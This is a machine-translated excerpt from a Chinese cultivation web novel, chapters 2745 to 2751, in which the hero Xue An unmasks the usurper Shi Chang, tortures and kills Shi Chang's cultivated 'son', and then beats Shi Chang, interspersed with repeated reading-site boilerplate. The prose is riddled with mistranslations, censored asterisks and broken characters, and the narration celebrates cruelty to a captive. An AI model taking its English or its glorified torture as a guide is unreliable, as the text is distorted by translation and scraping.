    After all, no one hopes that a good literary meeting will eventually become a battlefield for meeting by force.


    Although the general really wanted to support his eldest son at the beginning, this was also human nature.


    But now that he can correct his mistakes and correct his attitude in time, it can be regarded as great.


    But what everyone did not expect was that Xue An, who stood high in the sky, did not accept his apology at all.


    Instead, there was a sneer at the corners of his mouth.


    "Routine? Haha, that''s a pretty good excuse!"


    As soon as this remark came out, Shi Chang''s face instantly became gloomy.


    Many people are even more inexplicable, and don''t know what Xue An is going to do?


    Why reject the goodwill of the general?


    Although he did a little too much before, but now he has already apologized, but this young man in white still refuses to accept it. This is a bit of a bad idea!


    And as long as he accepts the general''s apology, his reputation and status are at his fingertips.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2745 is completely crushed), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2746： Hit you like a ball!

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Wouldn''t he count this account?


    Only a small group of people moved slightly and seemed to understand what Xue An was planning to do.


    Wu Jun and Duan Muguang, who had been dormant in the corner, looked at each other, and then proceeded silently in the chaos.


    Zhuo Ben was right here, Zhuo Ben''s nervous lips were dry, and he said in a somewhat astringent voice.


    "Be prepared, Master Xue may have to do it, and then we will cooperate with him together!"


    "Um!"


    Naturally, Wu Zizhang and others had nothing to say, and they were immediately ready.


    And it was at this moment that Shi Chang yinly laughed strangely.


    "Young man, I admit that you do have great talents, but you are too arrogant!"


    "Arrogant?" Xue An shook his head and smiled: "I don''t think, at least compared with some people who kill masters and seize power, they are still too far behind!"


    These words really seemed like a heavy hammer that shook Shi Chang''s body, but he was able to hide his deeds so far, and successfully deceived almost everyone, which shows how deep his city is.


    So the astonishment on his face was not fleeting, and then he sneered.


    "I don''t know the so-called, arrogant people like you won''t be recognized even if they win the leader of the literary society!"


    After that, Shi Chang snorted coldly, turned around and wanted to leave.


    But at the moment he turned around, an extremely fierce killing intent broke out in his eyes.


    He can conclude that this young man in white is absolutely aware of what happened back then.


    No matter how he knows, he must never stay here.


    But right now is the literary meeting, not a good opportunity for hands-on.


    So the plan for the present is to delay as long as possible, as long as it is delayed until the end of the essay, I can end up with this kid in private.


    This was an idea that flashed in Shi Chang''s mind for a moment.


    I have to say that this Shi Chang is indeed a real hero, and he can afford to put it down.


    But the problem is that he is facing Xue An, who plays his cards completely unreasonably.


    So when he turned around and was about to leave, Xue An suddenly chuckled.


    "It doesn''t matter if I speak arrogantly, it is you!"


    Xue An yelled coldly, "Shi Chang, do you really think what you have made is seamless and can you deceive everyone?"


    Hearing the name Shi Chang, Shi Chang was shocked, but he didn''t even turn his head back.


    "I don''t know what to say, I really don''t know what you are talking about! Come, take this madman down." Shi Chang solemnly ordered.


    With an order, dozens of figures rushed into the air from all directions to Xue An.


    But Xue An didn''t even look at them, just stomped lightly.


    This Wenhui Pavilion shook like an earthquake.


    As for the figures rushing towards him, naturally they also fell to the ground.


    This kind of strength moved many people.


    The little maid group couldn''t help whispering softly: "She looks good and can write poems. Now even fights are so powerful. Miss God, is this young man who can''t?"


    Yun Lingxuan did not sneer when faced with the little maid who was guilty of nympho.


    In fact, at this moment, she has focused all of her attention on Xue An, her eyes can be described as brilliant, she doesn''t know what she is thinking.


    At the same time, Shi Chang suddenly turned his eyes and said with a murderous expression on his face.


    "This is your own death, Gao Tian, ??kill him!"


    Xu Gaotian was already eager to try, and immediately flew up after hearing the order from his father, and said with a grinning smile.


    "Die me!"


    Xu Gaotian hated Xue An very much.


    After all, if it weren''t for him, he would already be a veritable leader of the literary society.


    As a result, not only has it overshadowed the limelight, it has also been ridiculed by it.


    How could this make him bear it.


    So at this moment, he couldn''t wait to punch Xue An''s face with a punch, smashing his handsome and handsome face to pieces.


    But ideals are ideals, and reality is reality.


    He just rushed in front of Xue An, his fist hadn''t touched a single hair of Xue An, a sapphire-like hand stabs diagonally, which happened to be printed on his chest.


    Bang!


    With a dull loud noise, Xu Gaotian was bombarded out like a cannonball.


    Before flying out, there was still a three-point consternation on his face.


    It seemed that he didn''t believe that he would lose in the end. He didn''t react until he was in the air. After vomiting two mouthfuls of blood, he shouted hoarsely.


    "You dare to hit me, I want you to die!"


    Unfortunately, the facts do not change with the size of anyone''s temper.


    No matter how loud Xu Gaotian shouted, no matter how angry he was in his heart, he didn''t have any power to fight back.


    Instead, Xue An sneered.


    "Hit you? It''s you who hit you!"


    When the words fell, Xue An''s figure flashed, and then he appeared behind Xu Gaotian, who was about to break out of the ceiling, and raised his hand with another palm.


    Bang!


    There was another loud noise, this time all the back spine burst open, and then Xu Gaotian slammed straight to the ground.


    But not halfway there, Xue An appeared below and slapped again.


    Bang bang bang!


    With a muffled noise, Xu Gaotian, who was originally arrogant, was like a ball, bounced back and forth in the air by Xue An.


    At the beginning, he could still yell hard, but after a few moments, he couldn''t scream anymore.


    Because Xue An''s palm is extremely heavy, but the palm strength is just right, every stroke will not let him die, but it will make him unhappy.


    So after just a few strokes, Xu Gaotian, who was originally arrogant and domineering, couldn''t stand up, so he could only shout in a crying voice.


    "Father save me!"


    Since his son was beaten like this, Shi Chang would naturally not stand by.


    I saw him yelling, "Kid dare!"


    He said that he rushed up to try to rescue Xu Gaotian But the next moment, he abruptly stopped in the air, because at this moment, Xue An stopped chasing, and then pinched Xu Gaotian with his hands. His neck said lightly.


    "One step further, his head and your efforts for so many years will be shattered!"


    Seeing this, Shi Chang stopped and looked at Xue An with an extremely gloomy expression.


    "Boy, what do you want to do?"


    "What do I want to do?" Xue An smiled, but looked at the entrance of the venue.


    "You have to ask what you have done first!"


    Following the voice, a chubby **** walked into the venue.


    Wu Ji?


    Shi Chang was taken aback for a moment.


    The figure that walked in afterwards made his complexion drastically changed.


    I saw a gray-haired old man walking slowly into the arena, and then said to Shi Changyan in an infinitely sad tone.


    "Shi Chang, do you remember being a teacher?"


    Shi Chang''s complexion instantly became extremely ugly, and then a few words popped out between his teeth.


    "I should have thought of it, you were the one who sneaked into the City Lord''s Mansion that day, right?" Shi Chang looked at Xue An.


    Xue An nodded, "Yes, it''s me!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2746 is like playing a ball!) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2747： A person knows himself well

    "Invincible, starting with the new book Haige novel from Xianzun Dad ( Find the latest chapter!


    Yun Lingxuan was slightly taken aback.


    The Tuan''er standing behind her was even more stunned.


    "Miss, it was him, he..." Tuan''er said excitedly.


    Yun Lingxuan took a deep breath, "Don''t talk nonsense, watch it first!"


    Tuan''er closed her mouth when she heard the words, but even so, her cheeks were still flushed from excessive excitement.


    No wonder she would be so gaffe, it''s really that this matter is too important.


    It''s important to whether Miss''s past grudges can be solved, and her future happiness.


    In contrast, Yun Lingxuan was rather calm.


    She just glanced at Xue An in the distance, and a thought came to her mind.


    The sigh at the banquet that day turned out to be him!


    No wonder the sentence I heard at the time was so familiar.


    But why does he say that?


    Could it be that he really heard his thoughts through the sound of the piano, or... what does he know?


    Thinking of this, Yun Lingxuan couldn''t help feeling a little at a loss.


    On the one hand, it was because I found the person who made me break, but at the same time I remembered the tone of his words.


    There was a little sigh in the pity.


    Yun Lingxuan clenched her fist unconsciously.


    At the same time, Shi Chang looked sternly at Xu Lingan and Wu Ji beside him.


    "Wu Jie, you are indeed a running dog that Xu Lingan planted. It''s hard for you to forbear and hide all these years, and even I hide it!"


    Facing Shi Chang''s cynicism, Wu Ji just smiled faintly.


    "Yes, I am indeed a running dog planted by the Old City Lord, but it''s better than a scum like you who kills the master and seizes power!"


    "Yes, what can I do if I just kill the teacher and seize power? Because this old immortal is not worthy to be the master of this domain. Only me, I am the real master of destiny." Shi Chang said with a twisted face.


    Hearing this, the audience was in shock.


    Because only then did people figure out what happened.


    It turns out that the Ling''an General who has been in charge of Ling''an Domain for many years is not really Xu Ling''an at all.


    The real Xu Ling''an is actually this old man, and by the name, Shi Chang seems to be his apprentice!


    This series of changes left many people stunned.


    Even Xu Gaotian, who was strangled by Xue An''s neck, temporarily forgot the fear of being controlled by others, and looked at his father with shock.


    If all this is true, doesn''t it mean that you don''t have a surname at all?


    Seems to be aware of his confusion and confusion, Xue An smiled at him slightly.


    "Don''t worry, you will soon find that what you are struggling with is not a problem at all."


    Xu Gaotian did not understand what Xue An said, but this did not prevent him from glaring at Xue An.


    But the next second, his anger was pinched back again.


    Xue An''s five fingers slammed hard, and then Xu Gaotian felt the qi and blood interrupted, and even the movement of aura was hindered, his eyes turned black for a while, and he almost fainted.


    There was a deep look of fear in his eyes now.


    Xue An said indifferently: "People must always remember where they are and then make actions that suit their position. This is the way to survive."


    "So if I find out that you dare to have the slightest disrespect, I don''t mind breaking your neck with my hand, letting your head be blown out by the blood splashing out of your chest, and be the last of life. Free landing!"


    Xu Gaotian gritted his teeth secretly, but a flattering smile appeared on his face.


    At the same time, he felt infinite humiliation in his heart.


    You wait for me. If I find a chance, I will make you hard to die....


    But the next second, Xue An''s other hand suddenly lifted, clenched his palm into a fist, and hit his chest heavily.


    There was a crisp sound.


    The rib broke at the sound, but Xue An''s boxing front stopped the moment before it touched Xu Gaotian''s beating heart.


    Nevertheless, Xu Gaotian''s heart still kisses Xue An''s boxing edge when his heart is beating.


    The extreme oppression and pain left Xu Gaotian��s brain blank.


    "Oh, I forgot to tell you, what I thought in my heart, and don''t try to hide it, I can easily perceive the deepest thoughts in your heart!"


    "So from now on, as long as I detect any disrespectful thoughts in your heart, you must die too! Do you understand?"


    Xu Gaotian was like a chill, and nodded in fear.


    He has always liked to play with people, and now he finally understands what cruelty is and what is domineering.


    If you hit you, you can''t have any dissatisfaction, otherwise you will die!


    Where to find such unreasonable people in the world?


    But Xue An did it, and he did it grandly, in front of his father and the people in Ling''an Domain.


    Xu Gaotian had only one thought in his mind at the moment.


    This good-looking boy in white with a better smile is simply a devil.


    Seemingly aware of his thoughts, Xue An smiled at him slightly.


    "This is the devil? You are too careless. I still have a lot of games like this. Would you like to try it?"


    Xu Gaotian suddenly thought of his mother who had been dead for many years.


    If she was still alive, Xu Gaotian would not hesitate to rush into her arms and cry.


    He doesn''t want to play!


    real!


    He is scared!


    And he was completely scared to pee in his pants, and was seen by the people present.


    Xi Weilan sitting in the corner can be described as exuberant.


    "Have you seen it, this guy who is invincible in Wanhualou would be scared too!" Qie Weilan sneered.


    She has never been a gentle woman, and the so-called retribution with virtue is even more shit.


    Now she just wanted to laugh a lot, and then pointed at Xu Gaotian''s face and scolded him as well.


    Zhuo Benzheng and Wu Zizhang and the others were deeply impressed.


    Only Yao Yachao''s eyes showed a touch of worry.


    It is true that Xue An''s performance is very strong, but the key is that he is now in Ling''an City.


    There is also Shi Chang, a big man who hasn''t taken a shot before, especially now there are Wu Ji and this real Xu Lingan who suddenly appeared, and the situation has become more and more complicated.


    At the same time, Wu Jun and Duanmuguang had quietly arrived at the forefront of the venue.


    They all saw what Xue An did to Xu Gaotian in the sky.


    The graceful cruelty and calm violence made them all amazed.


    "I really don''t know what kind of ruthless man this little son was trained by, so he has such a mind at a young age, how wonderful it is!" Duan Muguang sighed softly.


    Wu Jun took a deep breath, "Just leave it alone. Now things have changed. The suppression of the Wensheng tablet is obviously effective. This is bad news for us. After all, the sneak attack we worked so hard to prepare has lost its meaning. ."


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2747 is expensive to know), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2748： I am self-aware

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "But it is also good news at the same time. After all, Xu Lingan or Shi Chang is already in a mess at this moment, so we need to wait for an opportunity next!"


    "A chance to kill him!"


    "Yes!"


    As Wu Jun said, Shi Chang is indeed in a mess at this moment.


    Because this literary meeting seemed to have been out of his control and slipped into the unknown abyss.


    At this moment, even the former teacher, the real lord of spiritual peace, came out.


    Coupled with this, the boy in white who controlled his son to watch.


    All this made Shi Chang feel a crisis.


    But he was indeed worthy of Yao Yachao''s evaluation of that big man, and soon settled down and laughed gloomily.


    "Xu Ling''an, you are now returning to the ground with Wu Ji and the surname Xue, do you think you have the confidence to restrain me?"


    "To tell you the truth, I actually don''t care about this so-called name anymore! After all, everything is fake, only strength is true!"


    Following the voice, a brilliant brilliance burst out of Shi Chang''s body, and the huge coercion spread to the audience.


    That is the power pressure from the realm of the general.


    Do not!


    To be precise, it should be the pinnacle of the general, and it is only one step away to step into the power pressure of the third-rank general.


    As soon as this power came out, the audience shook.


    Even Tang Zheng, a great scholar who has always been out of the picture, couldn''t help but change his face at this moment.


    Because let alone in this remote Ling''an City, even in the central areas where the heroes are fighting for hegemony, Shi Chang''s strength can be called first-class.


    But Xu Ling''an didn''t show any fright, but looked at Shi Chang indifferently.


    "You''re still the same, you like to use your power to overwhelm people at every turn!"


    "Humph!" Shi Chang snorted coldly, "You are the same, you like to put on a preaching face at every turn."


    Xu Lingan shook his head, and there was a trace of sadness in his eyes, "I didn''t want to preach, I just felt a little sad. I have thought more than once in the years when I was trapped underground, why things have become like this!"


    "You said you want power, but I have clearly announced that you will be the next Great General of Ling''an, and have passed all the secret magic techniques to you. Why do you want to do this?"


    Shi Chang sneered, "Enough, don''t say that you seem to be merciful and innocent. You did say that you want to pass on the Spiritual Security Realm to me, but if you don''t have any accidents, you will have to live at least thousands of people based on your strength. Years old, that means I have to wait for thousands of years, I can��t wait that long!"


    "What belongs to me, I must hold it in my hand as soon as possible, not to mention that your words are just a carrot tied in front of my eyes, tricking me into doing things for you!"


    "Trick me to do things for you..." Xu Ling''an murmured, the sadness on his face heavier.


    "How could this happen, you weren''t like this before! I still remember that you were so kind and simple back then, why did you..."


    "Enough! I don''t want to listen to what you said that **** back then, today you, Wu Ji, and the surname Xue are all going to die!"


    Shi Chang can be said to be crazy, stepping on the space under his foot, and then rushing towards Xu Lingan like a cannonball.


    Xu Ling''an didn''t dodge, because he also knew that dodge was meaningless.


    Having been trapped underground in a spirit vein cage for so many years, his strength has already faded, and he cannot escape this Shi Chang''s blow.


    But Shi Chang''s attack did not work, because Wu Ji on the side suddenly moved.


    Once the fat **** moved his hands, he was mortal, and his figure appeared in front of Xu Ling''an in a flash, and then raised his hand to fight Shi Chang with countless palms.


    However, after a few breaths, hundreds of loud noises like firecrackers erupted in this Wenhui Pavilion.


    Then Wu Ji snorted and staggered back.


    Looking at his arm again, it was already scarred, and it fell weakly, apparently severely injured.


    "Hahahaha Wu Jie, although you are good at strength, how can you be my opponent? Now that your hands are gone, it will be impossible to be a dog in the future!"


    Shi Chang laughed and rushed towards Xu Ling''an again.


    Xu Ling''an sighed softly, "Shi Chang, this old bone of mine actually deserves to die long ago, but you didn''t want to kill me. Instead, you kept me in an underground cage for so many years. Why on earth?"


    "Hmph, why on earth go and ask Hades!"


    Shi Chang was too lazy to talk nonsense, raising his hand would result in Xu Lingan''s life.


    At this moment, Wu Jun and Duanmu Guang rushed out from the crowd, one left and one right, and they fought Shi Chang in the middle.


    This sudden attack shocked the audience.


    However, Shi Chang seemed to have expected it, "Quack, two little mice hiding in the dark, how dare they come to me?"


    With that, Shi Chang waved his palms again and again, he wanted to repel Wu Jun and Duan Muguang.


    But at this moment, Wu Jun''s figure escaped his blow with a weird turn back.


    Immediately afterwards, a ray of fire flew out of his hand and hit Shi Chang.


    Shi Chang sneered, his power soared, and the flame was shattered without any action at all.


    "As an ant, I dare to be presumptuous!"


    While talking, Duanmuguang flew upside down from the void like a kite with a broken line.


    He just sneaked into the void to assassinate Shi Chang, but he didn''t expect to be discovered by him before he got close.


    But at this moment, Wu Jun moved.


    He suddenly took out a book from his arms, tore open the cover and threw it to Shi Chang.


    The book disintegrated in mid-air and turned into a cage of countless golden pages to Shi Chang.


    Shi Chang never dreamed that there would be such a trick, unexpectedly he was hit by this page.


    It''s strange to say that these seemingly light and effortless pages really looked like huge rocks when they hit Shi Chang''s body, making him scream.


    "Ahhhhh, it''s the Illuminati! Boy, UU reading , are you from the Illuminati?"


    "I am no one, I just want your life!" Wu Jun said coldly, his eyes full of bitter hatred.


    But as soon as the voice fell, these pages were all shattered, and at the same time a big hand slammed out, grabbed Wu Jun, and lifted it into the air.


    "Jiejie, do you really think you can defeat me by relying on these? If the scriptures written by the high priest of the Guangming Palace personally would still be afraid of me, it would be good if you can make me feel the pain with your little blood! "


    Shi Chang transformed into a **** who was several feet tall, holding Wu Jun''s neck, Jie Jie laughed strangely.


    Wu Jun no longer has the power to fight, and his final trump card is the scripture written by his own life and blood.


    But I didn''t expect that this was how Shi Chang could be obtained.


    really!


    The difference in strength is still too big!


    Wu Jun sighed, then closed his eyes, waiting for death to come.


    But at this moment, I heard a slightly playful voice coming from the side.


    "Hey old guy, if you dare to kill him, I will kill your son and let your years of hard work go to waste."


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record this reading (Chapter 2748 I just know it), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2749： Congeal

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    This sentence is far more useful than any threat. Shi Chang immediately threw Wu Jun away and dispelled his appearance, saying in horror, "No!"


    "Nothing?" Xue An said slowly, and at the same time his subordinates used force again, pinching Xu Gaotian''s throat gurgling and rolling his eyes.


    "Don''t kill my son!" Shi Chang''s voice was hoarse and his eyes were full of fear.


    Xue An smiled.


    The smile was slightly sarcasm.


    "Your son? Are you sure he is really your son?"


    Wu Ji, who was injured, was shocked. He faintly thought of something and looked at Xue An with scorching eyes.


    Shi Chang''s face didn''t have any color, just staring at Xue An''s hand that pinched Xu Gaotian''s neck, every time Xue An''s fingers moved, his eyelids would jump with it.


    That kind of affectionate father-son friendship is enough to move people.


    At least, a thought flashed through Qie Weilan, who was sitting in the corner.


    Although this guy is not a good person, he is still very good to his son.


    As for this Xu Gaotian, he made a sentence from his throat.


    "Father save..."


    But the next moment, the words behind him were strangled by Xue Ansheng in his throat.


    Then Xue An smiled faintly, "What a beautiful scene of a father''s kindness and filial piety, I can''t bear it!"


    Shi Chang was almost mad, raised his head and looked at Xue An, "Let''s talk about it, what conditions do you want to let go of my son?"


    "You seem to care about your son." Xue An answered the question.


    "Nonsense, how can I not care about my son, he is my blood!" Shi Chang hissed.


    "Enough!" Xue An yelled, and then a sneer appeared at the corner of his mouth.


    "Shi Chang, you acted too much."


    Many people looked at a loss, a little bit unable to understand the situation in front of them.


    In fact, from the beginning of the two-person dialogue, many people have fallen into the fog of Wuli.


    Xue An hijacked Xu Gaotian, Shi Chang repeatedly interceded to save his son, but what Xue An said was strange.


    Especially the sentence are you sure this is your son, which makes many people think about it.


    Could it be that Xu Gao''s naivety is not of Shi Chang''s blood?


    But seeing that his extremely worried look doesn''t seem to be a fake, what is going on?


    "I don''t know what you are talking about, I just want to save my son, so let''s make a price!" Shi Chang said very seriously.


    Xue An ignored him, but stretched out a finger, "There are two doubts. First, if you have cultivated to the level of yours, you should have taken the world indifferently. Even if he is your blood relative, you don��t. Should be so anxious and urgent."


    Shi Chang was expressionless, still staring at Xu Gaotian, as if he hadn''t heard Xue An''s words.


    Seeing this, Xue An snorted coldly and stretched out a second finger.


    "This is the second... In fact, when I first saw Xu Gaotian, I smelled a smell."


    "A terrible smell!"


    As soon as this remark came out, Shi Chang finally changed his face.


    "you��."


    "How did I know?" Xue An''s tone was lazy.


    "In fact, I wasn''t quite sure at the beginning, until I saw you value him so much, and even gave everything for him, I finally realized that he is not your son at all!"


    "Joke, he''s not my son, what is it?" Shi Changqiang smiled to himself, but his face no longer had the composure before, instead, there was a trace of panic.


    Xue An didn''t pay attention to him, but whispered softly: "In the past, there were secret methods, which can condense the evil fetus and refine the clone. After it matures, you can swallow it and you can directly rise to a great realm!"


    Every time Xue An said a word, Shi Chang''s complexion became paler, and after he finished speaking, it was as snow as paper.


    In fact, not just him, everyone in the field was in shock.


    Even Wu Jun, who had just been thrown out and stood in the corner panting for breath recovery, was shocked at this moment.


    Because he also heard Master talk about this secret method.


    It''s just that this kind of secret method is generally popular in the evil camp of evil things, it is difficult for outsiders to know, and even if it is known, very few people use it.


    Because this method is too time-consuming and energy-consuming, the first thing you need to do is to condense evil. This requires you to gather a sufficient amount of evil thoughts. This prerequisite alone can make most people retreat.


    And even if you get the necessary amount of evil thoughts and successfully terminate the pregnancy, this is just the beginning.


    Because later you will have to carefully cultivate this bad fetus and bring it up to adulthood. At the same time, you must also pay attention to constantly inducing evil thoughts in his heart as he grows up.


    Only in this way can you guarantee that you can proceed smoothly when you swallow it in the future.


    It is enough trouble to say these things one by one, let alone implement them.


    What''s more, any slight change in the whole process may cause all previous efforts to be put into waste.


    For example, if this bad fetus is discovered during the training process, it is very likely that it will turn against each other and become an enemy of life and death.


    Under these kinds of restrictions, this extremely evil secret method has gradually disappeared.


    Unexpectedly, it will reappear in the hands of Shi Chang in Ling''an City today.


    "Am I right? Shi Chang?" Xue An said lightly.


    The expression on Shi Chang''s face changed, and finally he sneered gloomily.


    "I really didn''t expect that there is a human youth in a mere descent, but the strength of the fifth-rank Xiao Lieutenant can know this, yes! He is indeed a bad fetus that I carefully cultivated."


    Hearing his confession, Tang Zheng snorted on the stage, shaking his body a few times, and almost fell to the ground.


    Because he was afraid and regretted.


    Fearing that he would cooperate with such a sinister man, UU reading regretted that he didn''t find it until then.


    If he really helped Shi Chang to make Xu Gaotian the leader of this literary meeting, the consequences would be unimaginable.


    Thinking of this, Tang Zheng couldn''t help sweating through his clothes, and the brilliance in his eyes dimmed a lot.


    With this thought alone, although he did not face the enemy head-on, Tang Zheng''s strength dropped by more than 30%.


    This is because as a great Confucian who learns from literature and Taoism, his most important practice method is to have an understanding of thoughts and act without regrets.


    Only in this way can we maintain the stability of our own context.


    But now, just because of a difference in thought, he and Shi Chang reached a private cooperation, which almost caused a catastrophe.


    This caused a heavy blow to the foundation of his context.


    As if feeling his anomaly, Yun Lingxuan stepped forward and sighed softly: "Actually, I really can''t understand, what exactly did Shi Chang give to you that can impress you and let you cooperate with him?"


    Tang Zheng vomited the bruises in his mouth and smiled bitterly: "He said he would help me find the fragments of the ancient mirror when things are done. I know Miss Yun you have been searching for this thing, so..."


    "So you promised him?"


    Tang Zheng was silent.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2749), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2750： Father and son ball

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Yun Lingxuan looked into the sky with a complex expression, and said in a faint tone: "Do you know why I came here?"


    Tang Zheng was startled, "Could it be..."


    "Yeah! He also invited me for the same reason, so the most likely thing is...you and I were both deceived by this person!"


    Two phases are silent.


    "Just admit it!" Xue An said lightly.


    "Hehe, even if I admit it, what can you do to me? If you know him, let him go to me quickly, otherwise you won''t want to get out of here today!"


    When Shi Chang arrived, he seemed to have gone all out, threateningly said.


    Xue An raised his eyebrows slightly, "Aren''t you afraid that I will kill this nasty baby you carefully cultivated first?"


    "You dare not, because he is in your hands now, you still have the right to bargain with me, if he dies, then you have to die too!" Shi Chang said coldly.


    "Oh? Really?"


    Xue An looked at Xu Gaotian in his hand with a smile, and said lightly.


    "Have you heard? The father you regarded as your patron has given up on you now. You are just a bargaining chip in his eyes."


    Xu Gaotian trembled all over, his face pale as death.


    Although he could not witness everything that happened just now because Xue An was strangling his throat, he could hear everything he said.


    Xu Gaotian collapsed when he heard that he was originally just a bad fetus cultivated by his father using secret methods, and that he would later be swallowed and absorbed by it.


    Over the years, under Shi Chang''s deliberate indulgence and guidance, he has done everything possible.


    But no matter what happened, Shi Chang would wipe his ass.


    Under such circumstances, he became more and more unscrupulous.


    But all of this is based on his belief that his father really loves himself.


    Until now, Xue An''s words ruthlessly shattered his psychological defense.


    Only then did he understand that the reason why he was so indulged was because Shi Chang had regarded himself as an elixir that could be used to swallow him to improve his skill from the beginning.


    At this point, he just realized why Xue An told himself that the problem he was struggling with would not be a problem soon.


    Because now it is no longer a question of whether or not the last name is Xu, but whether it is not a personal question.


    And now Shi Chang''s statement makes Xu Gaotianru fall from the cloud even more.


    Tears burst into his eyes, and his eyes were full of complex expressions of prayer and anger.


    He wanted to pray that Xue An would let him go, then flee here, and wait for an opportunity to avenge him in the future.


    But his wishful thinking fell through.


    Because when Xue An saw the look on his face, he couldn''t help but chuckle.


    "Do you think I should let you go? After all, you are also a poor man who has been used from beginning to end!"


    Xu Gaotian nodded vigorously.


    "You think too much! Everyone should pay for their actions. Even though you are being used, your actions over the years still cost you a hundred deaths!"


    With the voice, Xue An''s palm gradually tightened.


    Xu Gaotian''s eyes protruded, looking at Xue An in disbelief, as if he didn''t believe that Xue An really dared to kill himself.


    Xue An just stared blankly, "If you have any grievances, go down and talk to the souls who were cruel to you!"


    Words fall.


    Xue An''s five fingers clasped tightly, Xu Gaotian''s neck broke directly, and blood spewed out, rushing his head far away.


    A faint light curtain blocked the **** water, and then Xue An released his hand, and the headless corpse fell to the ground.


    Xue An clapped his hands so that he could look at Shi Chang on the opposite side in his spare time.


    "Well, didn''t you say that I didn''t dare to kill him? Now he is dead!"


    Shi Chang let out a hysterical roar, "Ah, ah, ah, you dare to kill him, I will smash you into pieces!"


    But as soon as the voice fell, Shi Chang was forced out by Xue An who suddenly appeared in front of him.


    Then Xue An stood there and said lightly: "If you want to fight, fight, there is so much nonsense!"


    All this happened extremely quickly, from Xue An''s breaking Xu Gaotian''s neck to taking Shi Chang away, it only took a few seconds in total.


    Many people''s eyes almost stared out.


    Oh my god!


    Did you read it wrong?


    That is the pinnacle cultivation base of the dignified Fourth-Rank General!


    In the end, he was flew out by a fifth-grade xiaoqiang lieutenant?


    Even more shocked than these people belonged to Shi Chang.


    He didn''t expect Xue An to be so domineering and direct.


    He fanned himself out without even saying hello.


    However, his reaction was extremely quick. The person turned back in mid-air, and then appeared above Xue An''s head.


    "Die me!"


    Shi Chang slammed down fiercely.


    With anger, this is almost a killer blow


    But at this moment, something suddenly appeared above Xue An''s head to block Shi Chang''s blow.


    Not only that, Shi Chang was also shocked and flew out. After standing still, half of his arm was numb, as if he had been injured.


    Looking at the top of Xue An''s head, that piece of Wensheng tablet was quietly suspended.


    Shi Chang''s pupils shrank instantly and hissed: "How could it be possible! You are not a person in Wendao, why does this Wensheng Tablet take the initiative to shelter you?"


    Xue An raised his hand slowly and gently stroked the Wensheng tablet above his head.


    The brilliance of this Wensheng tablet flashes, and it seems to enjoy it.


    Now even Tang Zheng looked dumbfounded.


    Can it be like this?


    I have been a great Confucian in Qisi Poetry Club for so many years, and I have never heard of anyone who can communicate with Wensheng Tablets like this.


    "There are too many things you don''t know, can I explain everything to you clearly, Xiaoye?" Xue An said slowly.


    Shi Chang''s face was gloomy, "Don''t think it can be done with the help of the memorial tablet, you still have to die today!"


    With that said, Shi Chang took a step forward, and then once again showed a golden body as high as several feet, and UU Reading bombarded Xue An.


    Xue An sneered coldly, "It seems that only you can do the same!"


    After that, a vast breath rose from behind Xue An, turned into a headless giant, and greeted him.


    Seeing the giant behind Xue An, Shi Chang screamed once again like a cat with its tail stepped on.


    "Bone Giant! You are actually the inheritance of the Bone Giant?"


    Xue An didn''t bother to talk nonsense with him. With the help of the Xingtian Faxiang behind him, he slammed a punch and was bombarding Shi Chang''s body.


    Bang!


    Shi Chang was hit and flew out, but before he landed, Xue An rushed to his footing again, and then punched out again.


    Bang bang bang!


    Shi Changfa, who was several feet tall, turned into a huge ball, and was beaten by Xue An just like Xu Gaotian before.


    The eyes of the audience moved with Shi Chang, who was rushing from the left to the right.


    But no matter what the impact, he couldn''t get out of Xue An''s control.


    So a scene that has never happened before in this world appeared.


    A strong man at the pinnacle of a fourth-rank general was chased by a fifth-rank valiant lieutenant everywhere.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2750 Father and Son Ball), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2751： Overcome the Strong by the Weak

    "Invincible, starting with the new book Haige novel from Xianzun Dad ( Find the latest chapter!


    "I...I''m not mistaken, right!" Someone said with astonishment.


    No one answered the conversation, because many people were stunned by this scene.


    The cultivation base that crossed a large realm can be defeated by weak and strong. Xue An''s strength has exceeded the imagination of these people.


